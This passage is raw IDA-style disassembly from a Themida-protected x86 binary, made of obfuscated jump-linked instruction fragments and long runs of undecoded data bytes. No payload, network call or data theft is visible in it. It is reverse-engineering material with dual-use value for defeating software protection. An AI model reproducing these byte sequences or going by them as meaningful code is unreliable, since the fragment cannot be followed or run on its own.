		dd 81000000h, 4E50EEEEh, 81EE0155h, 4E50EEC6h, 0DE95D55h
		db 19h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51FEC7:				; CODE XREF: Themida_:00517B8Aj
		shr	eax, 0Ah
		xor	eax, ecx
		push	eax
		push	5677h
		jmp	loc_51B8B4
; ---------------------------------------------------------------------------
		db 5Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		jmp	loc_518320
; ---------------------------------------------------------------------------
		db 54h
		dd 40558h, 4DE90000h, 89FFFF46h, 0F1015BDEh, 240C875Eh
		dd 0FFEFA6E9h, 5AD389FFh, 65BBC381h, 0C14376B3h, 29E903EBh
		dd 0FFFFFFAAh, 348B2434h, 4C48124h, 83000000h, 535204C4h
		dd 852B9DBBh, 5BDA894Dh, 0FFC704E9h, 40A6BAFFh,	5729773Bh
		dd 34FF5A40h, 24048B24h, 4EC81h, 2C890000h, 815D5424h
		dd 4C5h, 4C58100h, 55000000h, 42474FFh,	1BADE95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51FF6A:				; CODE XREF: Themida_:0051831Bj
		push	36B4h
		mov	[esp], eax
		push	19F3h
		jmp	loc_51B8C8
; ---------------------------------------------------------------------------


loc_51FF7C:				; CODE XREF: Themida_:0051A7AFj
		mov	eax, 2F7D7376h
		xor	eax, 312F27CAh
		jmp	loc_50E69D
; ---------------------------------------------------------------------------


loc_51FF8B:				; CODE XREF: Themida_:0051D144j
		pop	eax
		sub	ebp, 0EACEBD9Eh
		add	eax, 53EC4DB2h
		add	eax, ebp
		sub	eax, 53EC4DB2h
		pop	ebp
		push	131Ch
		jmp	loc_51859D
; ---------------------------------------------------------------------------
		db 1, 0D1h, 5Ah
		dd 145E181h, 0E9C16DE4h, 4C18103h, 10C2977h, 2725E9CAh
		dd 0F749FFFFh, 7EE181D9h, 0F76CDE5Ch, 99E981D1h, 0E99DAC75h
		dd 0FFFFE811h
; ---------------------------------------------------------------------------


loc_51FFD8:				; CODE XREF: Themida_:0051FCB5j
		pop	ebx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		shr	ebx, 6
		jmp	loc_5123A5
; ---------------------------------------------------------------------------
		dd 649EF181h, 0C1815E15h, 0CA96AC44h, 24E9CF89h, 5A000012h
		dd 7DAE9h, 24048900h, 0FFA66FE9h, 24148BFFh, 0FFD76DE9h
		dd 240487FFh, 8BF0015Ch, 0E8E92434h, 89FFFF35h,	58542404h
		dd 0CEBBA52h, 0F6E97AA0h, 8FFFFF19h, 248B2404h,	78E6824h
		db 0
byte_520045	db 0, 89h, 14h		; DATA XREF: ___:0042CC88o
					; ___:0042CCA0o
aPtsj		db '$PT+',0
		align 10h


loc_520050:				; CODE XREF: Themida_:0051848Bj
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		jmp	loc_5150C1
; ---------------------------------------------------------------------------


loc_52005B:				; CODE XREF: Themida_:005173BDj
		add	eax, 6B9729F7h
		sub	edx, eax
		pop	eax
		not	edx
		and	edx, 9227CC3h
		not	edx
		neg	edx
		sub	edx, 934253F4h
		xor	esi, edx
		pop	edx
		sub	esi, 0FFFFFFFFh
		jmp	loc_5140D6
; ---------------------------------------------------------------------------


loc_520080:				; CODE XREF: Themida_:00512787j
		mov	bl, dh
		mov	dh, [esp+5]
		jmp	loc_50FA5D
; ---------------------------------------------------------------------------
		db 8Fh
		dd 8B5C2404h, 0D368240Ch, 89000042h, 8DE9240Ch,	83FFFF0Bh
		dd 3DE904C4h, 1FFFF4Ch,	24148BD1h, 5504C483h, 387B3CBDh
		dd 20E5811Dh, 0C1466C0Ah, 0F58105E5h, 0F804345h, 747B951h
		dd 0CD318A81h, 5DE90159h, 0FF8EEBE9h, 0AEF381FFh, 0E9937359h
		dd 0CD2h, 8704C183h, 5B5C240Ch,	0FF77EAE9h, 0B76859FFh
		dd 0E900003Ch, 0FFFF5D34h
; ---------------------------------------------------------------------------


loc_5200F8:				; CODE XREF: Themida_:00510B16j
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		shr	eax, 0Ch
		jmp	loc_519E3B
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832414h, 0BF575504h, 4, 66E9FD89h, 8BFFFFF1h, 0C483242Ch
		dd 5BDE2104h, 73CDBB53h, 0B9517038h, 54C77B21h,	0CC21C181h
		dd 0CB210513h, 5DCB8159h, 0E9633016h, 0FFFFC058h
; ---------------------------------------------------------------------------


loc_520150:				; CODE XREF: Themida_:00514D4Cj
		mov	ebx, 48443A86h
		push	ebx
		mov	ebx, 0AC85EA65h
		jmp	loc_51E5F3
; ---------------------------------------------------------------------------
		dd 188D68h, 241C8900h, 352ED0BBh, 0B6D9E968h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_520172:				; CODE XREF: Themida_:0051A778j
		add	edi, ebx
		pop	ebx
		pop	esi
		add	edi, ecx
		sub	edi, 1FD91A5Fh
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_51FDBA
; ---------------------------------------------------------------------------
		db 68h,	0CCh, 64h
		dd 14890000h, 0C454E924h, 0D6F7FFFFh, 7EF6C681h, 0C6810EDEh
		dd 0F16FC12Bh, 555EF529h, 280367BDh, 0FD41E955h, 3905FFFEh
		dd 2D0AA232h, 75580779h, 5257D801h, 0DB0B5ABAh,	0E9505249h
		dd 0FFFFC8DCh, 0C281E289h, 4, 3304C283h, 14312414h, 24143324h
		dd 0AF52E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5201E6:				; CODE XREF: Themida_:0051917Ej
		sub	ebp, 663B2CD7h
		add	ebp, ecx
		add	ebp, 663B2CD7h
		push	dword ptr [esp]
		jmp	loc_513317
; ---------------------------------------------------------------------------
		dd 0C8BEB88h, 4C48324h,	0FF5BA9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_520209:				; CODE XREF: Themida_:005179F8j
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_51F3A7
; ---------------------------------------------------------------------------
		dd 2414895Ch, 0C1E99C50h, 56FFFEDFh, 4EC81h, 3C890000h
		dd 81E78924h, 4C7h, 4BD5500h, 29000000h, 3C875DEFh, 8DE95C24h
		dd 8700001Ch, 248B243Ch, 24148924h, 8DE99C50h, 81FFFEDFh
		dd 4C4h, 21C18100h, 94E153Eh, 3CCE9CEh,	0C8B0000h, 4C48124h
		dd 81000000h, 8090DC9h,	1FE98119h, 0E91E3912h, 0FFFFA4EDh
; ---------------------------------------------------------------------------


loc_520290:				; CODE XREF: Themida_:005186E1j
		add	eax, ecx
		pop	ecx
		jmp	loc_5179F0
; ---------------------------------------------------------------------------
		dd 0A9173BB9h, 8BCA891Dh, 0F8E9240Ch, 5CFFFFFDh, 24048F54h
		dd 4240483h, 5A2434FFh,	81E18951h, 4C1h, 4C18300h, 31240C33h
		dd 0B7E9240Ch, 8BFFFFB2h, 0C483240Ch, 4EF8304h,	0FF5D8EE9h
		dd 241C89FFh, 81E68956h, 4C6h, 4EE8300h, 31243433h, 34332434h
		dd 0E299E924h, 3C87FFFEh, 0C1665C24h, 816606E5h, 669E43C5h
		dd 665DEE89h, 5E66F231h, 29C38166h, 0D329663Dh,	0FF5636E9h
		dd 28BA52FFh, 817C0D41h, 51C08DC2h, 5AD189E4h, 0FF80FEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_52032D:				; CODE XREF: Themida_:00515677j
		push	edi
		push	7FCF4F19h
		mov	edi, [esp]
		push	4EBEh
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_51FAF0
; ---------------------------------------------------------------------------


loc_52034D:				; CODE XREF: Themida_:00521114j
		or	cl, 55h
		jmp	loc_5165B0
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 84h
		dd 81006221h, 0FB62FDEBh, 28A7E978h, 1C89FFFFh,	0FFFFBB24h
		dd 0ADE9FFFFh, 8BFFFFAEh, 89662424h, 0F66240Ch,	5166C8B6h
		dd 0DE6AE99Ch, 6856FFFEh, 4A7A4A56h, 0E924348Bh, 0FFFFACD3h
		dd 2BFh, 5FFA0100h, 0FF3C89E9h,	6BC281FFh, 510A1D2Eh, 0C181E189h
		dd 4, 8704E983h, 895C240Ch, 0AFB9240Ch,	0E92C6F6Dh, 3E5h
		dd 6A09B5B9h, 81D1F745h, 97783BE1h, 81E9D115h, 4AB801F1h
		dd 0E9CE2908h, 0FFFF5117h, 9B9514Fh, 50325D18h,	9374E7B8h
		dd 0E0C1405Eh, 8D502D08h, 0C1313E16h, 6209E958h, 8957FFFFh
		dd 0E4B951E7h, 815D4466h, 0D22335E9h, 33C9812Bh, 81479F10h
		dd 0EB7202C1h, 2E9C118h, 0B16CE981h, 0CF01243Ah, 0A0BDE959h
		dd 0E95BFFFFh, 361Dh, 4C281h, 0B2E90000h, 68FFFF32h, 27E2h
		dd 0FFDA7CE9h, 240489FFh, 0FEE18BE9h, 0E9D831FFh, 0FFFFA21Fh
		dd 0B96EB405h, 0F0295F5Ah, 0DE1BE56h, 0B9515D10h, 8124D27h
		dd 0C8BCE31h, 0E0895024h, 405h,	4C08300h, 0FFFBA0E9h, 0D0BA52FFh
		dd 81795968h, 93042444h, 8121517Fh, 0A404246Ch,	17B4560h
		dd 81042454h, 0A4042444h, 817B4560h, 9304246Ch,	0E921517Fh
		dd 0FFFF6823h, 3F4ABD55h, 0EC835F68h, 240C8904h, 3F4ABD55h
		dd 0B85040F7h, 0FFFFFFFFh, 0FF2C5BE9h, 74FF52FFh, 8F5A0424h
		dd 0D35C2404h, 15E92424h
		db 0DDh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5204DB:				; CODE XREF: Themida_:0051F5EFj
		pop	eax
		add	bl, cl
		sub	bl, 0E1h
		mov	cx, [esp]
		add	esp, 2
		add	bl, 1Ch
		add	bl, 0C3h
		jmp	loc_51C4A0
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0E4DF281h, 0D18923B7h, 0FF5D8DE9h, 5DEA01FFh, 0FFCACEE9h
		dd 0FFC101FFh, 83582434h, 0EC8304C4h, 240C8904h, 42474FFh
		dd 83240C8Bh, 48F04C4h,	24248B24h, 0FEDCC3E9h, 4C481FFh
		dd 57000000h, 42474FFh,	24048F5Fh, 6624248Bh, 6866F9F7h
		dd 896648FBh, 50662414h, 0DC9EE99Ch, 5568FFFEh,	89000044h
		dd 6CE9240Ch, 66000001h, 5124048Bh, 1214E9h
		db 0
; ---------------------------------------------------------------------------


loc_520569:				; CODE XREF: Themida_:00513F42j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_50E1F0
; ---------------------------------------------------------------------------
		dw 5625h
		dd 0E92E8B76h, 0FFFFF3ABh, 5C5E45BFh, 41F78156h, 1565C5Eh
		dd 0F008E9F9h, 0E589FFFEh, 4C581h, 0BF570000h, 4, 8BE9FD01h
		db 0Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5205AF:				; CODE XREF: Themida_:00513420j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	44C0h
		mov	[esp], ecx
		push	3C423B0h
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_51BBAA
; ---------------------------------------------------------------------------
		db 83h
		dd 7DE904C4h, 0D1FFFF6Fh, 2C6FE9EFh, 0EAC1FFFFh, 8E2C106h
		dd 6045BF57h, 81472125h, 49635DC7h, 0A7F7810Eh,	0E96F6C97h
		dd 0FFFFC0F1h, 81E78957h, 4C7h,	4EF8100h, 87000000h, 248B243Ch
		dd 3855E924h, 0C181FFFFh, 36EADDCEh, 0B4E9CE01h, 88FFFEE3h
		dd 59CA88D9h, 27E9D2F6h
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_52062F:				; CODE XREF: Themida_:00514648j
		push	edx
		mov	edx, 4
		push	esi
		mov	esi, 6A4D5861h
		sub	ecx, esi
		jmp	loc_518229
; ---------------------------------------------------------------------------
		dw 0C159h
		dd 0CE8108EEh, 35F02A0Bh, 8305E6C1h, 0D668FFEEh, 89000048h
		dd 2368242Ch, 5D411014h, 91E9EE01h, 5A000016h, 115268h
		dd 241C8900h, 241C8B54h, 0FEFB95E9h, 0D5015BFFh, 0FF2650E9h
		dd 241C8BFFh, 798768h, 241C8900h, 0C381E389h, 4, 4B951h
		dd 0CB010000h, 241C8759h, 8124248Bh, 7A7B09F3h,	0C0CFE929h
		dd 83B8FFFFh, 0C148D87Fh, 0BE5607E0h, 6C3FC17Ch, 0FFCAC5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5206C1:				; CODE XREF: Themida_:0051B7D9j
		mov	eax, 2C806C88h
		jmp	loc_513559
; ---------------------------------------------------------------------------
		db 54h
		dd 0FF07DDE9h, 247401FFh, 0D7E95E04h, 89FFFFEFh, 368243Ch
		dd 0E913F61Eh, 0FFFFBE46h, 0FFFFEB81h, 0BF57FFFFh, 7E7F4286h
		dd 7C9DE781h, 0DFF740DBh, 0A196EF81h, 0DBE9A818h, 66000018h
		dd 56240C8Bh, 0C6815E54h, 4, 8704EE83h,	895C2434h, 0D368240Ch
		dd 0E900006Bh, 29D0h, 0F90DE958h, 0E95CFFFFh, 0FFFEDABCh
		dd 3304C483h, 2C31242Ch, 242C3324h, 0C8B665Ch, 0A9E95224h
		db 4Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_52074B:				; CODE XREF: Themida_:0051803Aj
		push	ebx
		mov	ebx, 50BA72EDh
		mov	ebp, ebx
		jmp	loc_522C55
; ---------------------------------------------------------------------------


loc_520758:				; CODE XREF: Themida_:0051875Dj
		push	ebx
		mov	ebx, 5CA54908h
		jmp	loc_5145E1
; ---------------------------------------------------------------------------
		db 2Ch
		dd 1B1E919h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_52076A:				; CODE XREF: Themida_:00510FC8j
		not	ecx
		xchg	ecx, [esp]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5216AF
; ---------------------------------------------------------------------------
		dw 0FB29h
		dd 28FEE9h, 2434FF00h, 0FF2434FFh, 48B2434h, 1B2CE924h
		dd 1590000h, 4BBE56EFh,	4E609416h, 7AE9DEF7h, 5EFFFF27h
		dd 0FF8890E9h, 0D4C281FFh, 815A1A22h, 8C285BEAh, 81CA0119h
		dd 8C285BC2h, 0D4EA8119h, 595A1A22h, 0E955C201h, 0FFFFEBFDh
; ---------------------------------------------------------------------------


loc_5207CC:				; CODE XREF: Themida_:0051C24Dj
		mov	edi, [esp]
		add	esp, 4
		add	ebp, 4EF1225h
		dec	ebp
		sub	ebp, 79CF444Eh
		jmp	loc_50F091
; ---------------------------------------------------------------------------
		db 57h
		dd 19B6E9h, 4C78100h, 0E9000000h, 0FFFFCF09h, 5358C709h
		dd 5F3EC4BBh, 5BDF3164h, 0FF7C2AE9h, 0CDE959FFh, 87000021h
		dd 485C2414h, 0FFF2A9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_520819:				; CODE XREF: Themida_:0051B51Bj
		pop	ebp
		xor	eax, esi
		jmp	loc_519142
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 4050000h, 0E9000000h, 0FFFF8A08h, 6F19BDh, 60E58160h
		dd 572B5F3Eh, 0AD1039BFh, 0BF685079h, 581EEB25h, 0E958C701h
		dd 0FFFF6607h, 6A77E95Eh, 3468FFFFh, 5400005Bh,	0FF5993E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_520861:				; CODE XREF: Themida_:0051901Bj
		add	dh, bl
		jmp	loc_515CC7
; ---------------------------------------------------------------------------


loc_520868:				; CODE XREF: Themida_:0051FC00j
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	esp, 4
		dec	dword ptr [esp]
		pushf
		jmp	loc_50E1F0
; ---------------------------------------------------------------------------


loc_52087A:				; CODE XREF: Themida_:00521397j
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_5184A6
; ---------------------------------------------------------------------------
		db 31h,	1Ch, 24h
		dd 8B241C33h, 4312424h,	0D95AE924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_520896:				; CODE XREF: Themida_:00510B85j
		push	ebx
		pop	ecx
		pop	ebx
		not	ebx
		xchg	ebx, ecx
		neg	ecx
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		push	ebp
		push	edi
		jmp	loc_516821
; ---------------------------------------------------------------------------


loc_5208AB:				; CODE XREF: Themida_:00512CDDj
		mov	esi, 0FC33FC1h
		mov	edi, 6DE10C29h
		jmp	loc_515C22
; ---------------------------------------------------------------------------
		dw 0D3F7h
		dd 0B34BE993h, 0C481FFFFh, 4, 0E92434FFh, 0FFFF39EAh, 8904EC83h
		dd 4BD242Ch, 81000000h,	0F3042444h, 13F436Ch, 8104246Ch
		dd 0F304246Ch, 5D3F436Ch, 4C5815Dh, 0E9000000h,	0FFFFA059h
		dd 0CF97E953h, 6CB8FFFFh, 293DE420h, 0DF2958C3h, 0F07FE95Bh
		dd 34FFFFFFh, 89505824h, 90E955E0h, 8FFFFFEFh, 4812404h
		dd 424h, 8F3BE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_52092E:				; CODE XREF: Themida_:0051EF18j
		mov	ebx, [esp]
		add	esp, 4
		xor	edi, 675C59C8h
		sub	edi, 2CD5FBD2h
		jmp	loc_5171CD
; ---------------------------------------------------------------------------
		db 56h,	55h, 0BDh
		dd 79E31818h, 815DEE89h, 0A15162F6h, 5EF13136h,	0FF6255E9h
		dd 0C1835FFFh, 0EA30E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_520966:				; CODE XREF: Themida_:0051B915j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		add	ebp, edi
		mov	edi, [esp]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_515D05
; ---------------------------------------------------------------------------
		db 83h,	4, 24h
		dd 0F255E904h, 0E189FFFEh, 0B214E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5209A2:				; CODE XREF: Themida_:00518B53j
		sub	edx, 138A06F5h
		jmp	loc_5194A1
; ---------------------------------------------------------------------------
		db 68h,	2 dup(0)
		dd 0ABE90000h
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5209B7:				; CODE XREF: Themida_:0051D6FCj
		pop	edx
		push	esi
		mov	esi, 65B938F8h
		add	esi, 31A07D72h
		shl	esi, 5
		not	esi
		jmp	loc_5131E6
; ---------------------------------------------------------------------------
		dw 8959h
		dd 95E958C5h, 31000004h, 0D32959CAh, 62EB815Ah,	5034293Eh
		dd 4EC81h, 14890000h, 5F11BA24h, 0E2C1454Fh, 16F1E906h
		dd 0C481FFFFh, 4, 0FFD17BE9h, 0E2E950FFh
		db 0F3h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_520A0B:				; CODE XREF: Themida_:005192F9j
		mov	[esp], esi
		mov	esi, 3CF057BDh
		not	esi
		inc	esi
		xor	esi, 775F6FDCh
		add	esi, 7271985Bh
		add	ebp, esi
		jmp	loc_5142F3
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 81000000h, 4C1h, 240C8700h, 912685Ch, 14890000h, 7F04E924h
		dd 0EB83FFFFh, 241C8704h, 0FFE09EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_520A51:				; CODE XREF: Themida_:00511DB6j
		sub	cl, 9Fh
		add	cl, bh
		jmp	loc_5100A2
; ---------------------------------------------------------------------------
		db 83h
		dd 0BB5304C4h, 587E7755h, 3034E9h, 51C80100h, 0BB5D97B9h
		dd 0E9C8295Bh, 29ACh, 529F9905h, 0D3ED81FCh, 1549B30h
		dd 0D3C581C5h, 0E9549B30h, 0FFFF5180h, 0E9242C8Bh, 0FFFF36BAh
		dd 0FF51F989h, 535A2434h, 0C3815B54h, 4, 504868h, 0D2DAE900h
		dd 0C681FFFFh, 19F45BD7h, 0A692E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_520ABE:				; CODE XREF: Themida_:0051A36Bj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	esp, 4
		and	ecx, edi
		jmp	loc_50E3DC
; ---------------------------------------------------------------------------
		db 29h
		dd 0D0D8E9C1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_520ADE:				; CODE XREF: Themida_:0051A758j
		pop	esp
		add	esp, 4
		and	ebx, eax
		mov	eax, [esp]
		jmp	loc_514FB0
; ---------------------------------------------------------------------------
		db 0FFh
		dd 835E2434h, 0D50104C4h, 468515Ah, 59000000h, 3C9BA52h
		dd 0E2C100D2h, 0DDE28105h, 0F7468750h, 89E281DAh, 0E974240Ah
		dd 0FFFFC9E0h, 0E530595Ah, 582434FFh, 815D5455h, 4C5h
		dd 4C58100h, 55000000h,	42474FFh, 24048F5Dh, 4EDC05Ch
		dd 8057B252h, 0D50044F2h, 6A2C5Ah, 0FF6A04E8h, 0E6E92434h
		dd 83FFFF77h, 48F04C4h,	60F8E924h, 5AFFFFh, 53A204D8h
		dd 0E3C012B3h, 0EB8006h, 0CC380h, 17CEE9D8h, 0B353FFFFh
		dd 0C28CE9E5h, 0EF81FFFFh, 84A1F5A2h, 3C8BF901h, 16E95124h
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_520B93:				; CODE XREF: Themida_:00512056j
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	esp, 4
		jmp	loc_5238FC
; ---------------------------------------------------------------------------


loc_520BA9:				; CODE XREF: Themida_:0050E402j
		mov	ecx, [esp]
		add	esp, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_50F49C
; ---------------------------------------------------------------------------
		dd 60FAEB81h, 97685FF7h, 89000055h, 41BE2434h, 8177D95Bh
		dd 0E603EDEBh, 81F32955h, 0E603EDC3h, 0D7E95E55h, 81FFFF4Dh
		dd 4C6h, 0E3F6E900h, 8B66FFFEh,	0DA682404h, 89000061h
		dd 0E6892434h, 68B7BD55h, 0F74D194Eh, 0F6E945DDh, 89FFFFDCh
		dd 4C181E1h, 81000000h,	4E9h, 240C8700h, 241C895Ch, 0FF132FE9h
		dd 4C483FFh, 0FF82F9E9h, 45D0BFFFh, 0C7816479h,	53040596h
		dd 7BE5647h, 1AF7505h, 0FB895EF7h, 585EE95Fh, 0C381FFFFh
		dd 5C1629B5h, 815BD901h, 1D7ADFC1h, 0F7D9F759h,	4EC83D1h
		dd 0F12E9h, 1293BB00h, 0DBF72FB4h, 2BBACB81h, 0EB812170h
		dd 9146A626h, 15BDD89h,	43B0E9EAh, 0D601FFFFh, 0FF0979E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_520C85:				; CODE XREF: Themida_:00514449j
		sub	ecx, 4
		jmp	loc_5239FA
; ---------------------------------------------------------------------------
		db 53h,	81h, 0ECh
		dd 4, 81242489h, 42404h, 8AE90000h, 29FFFEEFh, 0A8E95BDFh
		dd 0FFFFFFF5h, 815B2434h, 4C4h,	1AF1E900h, 48F0000h, 24048324h
		dd 0D52AE904h, 0EFD1FFFEh, 7FEFF781h, 3EE95F7Ah, 81FFFF75h
		dd 4C5h, 2ADBE900h, 0CDB3FFFFh,	52517104h, 0E9B6B050h
		dd 0FFFFE378h, 59A8BE56h, 0CE811509h, 56587EB6h, 0D84EC681h
		dd 8AE9B888h
		db 9Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_520D03:				; CODE XREF: Themida_:005150A9j
		sub	esi, 1C422410h
		shl	esi, 4
		add	esi, 0D6A80004h
		jmp	loc_5146FE
; ---------------------------------------------------------------------------
		db 5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	edx
		push	ecx
		mov	ch, 0B5h
		or	ch, 21h
		shl	ch, 1
		add	ch, 23h
		sub	ch, 64h
		push	ebx
		jmp	loc_519017
; ---------------------------------------------------------------------------


loc_520D45:				; CODE XREF: Themida_:00522A3Dj
		pop	esi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, 3022A89h
		push	esi
		not	dword ptr [esp]
		pop	esi
		jmp	loc_51F69C
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 0A4h
		dd 81584811h, 394836F2h, 4EC83A4h, 0E9241C89h, 17EEh, 2B9h
		dd 59CD0100h, 6D0E9h
		db 0
; ---------------------------------------------------------------------------


loc_520D99:				; CODE XREF: Themida_:0051EA91j
		pop	edx
		add	esp, 4
		push	edx
		push	ebx
		jmp	loc_52142B
; ---------------------------------------------------------------------------
		dd 31E9555Dh
		db 0DBh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_520DAB:				; CODE XREF: Themida_:00515777j
		mov	dl, 5
		jmp	loc_512354
; ---------------------------------------------------------------------------
		dw 0DF21h
		dd 63B8505Bh, 0E9F427A5h, 0F57h, 241C895Ch, 0FF90AEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_520DC9:				; CODE XREF: Themida_:00523125j
		pop	edx
		sub	esi, 73AD4C93h
		add	ebp, esi
		pop	esi
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		add	esi, 2451689h
		add	esi, eax
		sub	esi, 2451689h
		pop	eax
		and	eax, esi
		mov	esi, [esp]
		jmp	loc_5135E8
; ---------------------------------------------------------------------------


loc_520DF9:				; CODE XREF: Themida_:005102D5j
		push	edx
		jmp	loc_5125B1
; ---------------------------------------------------------------------------
		db 57h
		dd 0A17F42BFh, 76E7816Fh, 0E90DCA4Ah, 1FB1h, 0E9241487h
		dd 0FFFF1D88h, 28D1B551h, 0B55159E8h, 3EDC06Dh,	6605EDC0h
		dd 18C9E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_520E2E:				; CODE XREF: Themida_:0051E6ECj
		sub	eax, ecx
		pop	ecx
		mov	ecx, [eax]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	2533h
		mov	[esp], eax
		push	esi
		push	ebp
		mov	ebp, 22537D48h
		mov	esi, ebp
		pop	ebp
		mov	eax, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		push	ebp
		jmp	loc_512363
; ---------------------------------------------------------------------------
		db 0E9h, 8Eh, 0D3h
		dd 0DF29FFFEh, 0E9D7F75Bh, 10C4h, 8324148Bh, 2C8904ECh
		dd 81E58924h, 4C5h, 72FFE900h, 0A3B5FFFFh, 0FF0087E9h
		dd 198C68FFh, 24890000h, 24048124h, 4, 8124148Bh, 4C4h
		dd 0E077E900h, 0E95AFFFFh, 0FFFF0FF5h, 4C181h, 0E9830000h
		dd 240C8704h, 2414895Ch, 8904EC83h, 4BE2434h, 53000000h
		dd 2135E9h, 88EC8800h, 4D91E9E2h, 8152FFFFh, 1E092434h
		dd 348B7FC6h, 4C48324h,	556FBD55h, 73E91D90h, 0BDFFFF96h
		dd 50D5457Bh, 119CE945h, 34FFFFFFh, 0FF97E924h,	5B66FFFEh
		dd 2EC81h, 89660000h, 0B8662404h, 81661F4Dh, 6620E4C3h
		dd 8166C329h, 6620E4EBh, 8324048Bh, 665602C4h, 34816653h
		dd 66311124h, 0F681665Eh, 89663111h, 665B5EF2h,	4245401h
		dd 0B2E95A66h, 58FFFF63h, 5C240C87h, 4BD55h, 0E9010000h
		dd 240C335Dh, 0FEFCB5E9h, 2FB951FFh, 8107C16Ah,	351835C9h
		dd 9FF1811Eh, 1DB7338h,	240C8BCFh, 0FF3163E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_520F79:				; CODE XREF: Themida_:00519C37j
		sub	esp, 4
		mov	[esp], ebx
		push	edx
		mov	edx, 52491BD4h
		mov	ebx, 52491BD6h
		sub	ebx, edx
		pop	edx
		sub	ecx, ebx
		mov	ebx, [esp]
		jmp	loc_51C252
; ---------------------------------------------------------------------------


loc_520F9A:				; CODE XREF: Themida_:0051526Bj
		push	eax
		jmp	loc_51B506
; ---------------------------------------------------------------------------


loc_520FA0:				; CODE XREF: Themida_:00512818j
		pop	esp
		push	edx
		jmp	loc_511AF3
; ---------------------------------------------------------------------------


loc_520FA7:				; CODE XREF: Themida_:0051345Ej
		pop	ebx
		push	46B9h
		mov	[esp], ecx
		push	ecx
		push	eax
		mov	eax, 41717B41h
		mov	ecx, 205032C2h
		xor	ecx, eax
		jmp	loc_50FF25
; ---------------------------------------------------------------------------
		db 0BAh
		dd 2, 0E61EB81h, 0C381278Eh, 3F386FB2h,	357FBF57h, 814F27EDh
		dd 10084C7h, 0C7814775h, 701E02AFh, 83E9FB01h, 0BBFFFF4Fh
		dd 0DAD3D98h, 815BDF29h, 8A079BC7h, 0B5E95862h,	89FFFF7Dh
		dd 0B8E92414h, 51FFFFFFh, 53DEE952h, 685CFFFFh,	6D2Ah
		dd 0E9240C89h, 141Ah, 0B42CE957h, 0E980FFFFh, 0CE08587Dh
		dd 7FC68059h, 0E907C680h, 0FFFF1580h, 34C9EA81h, 15E97D0Ah
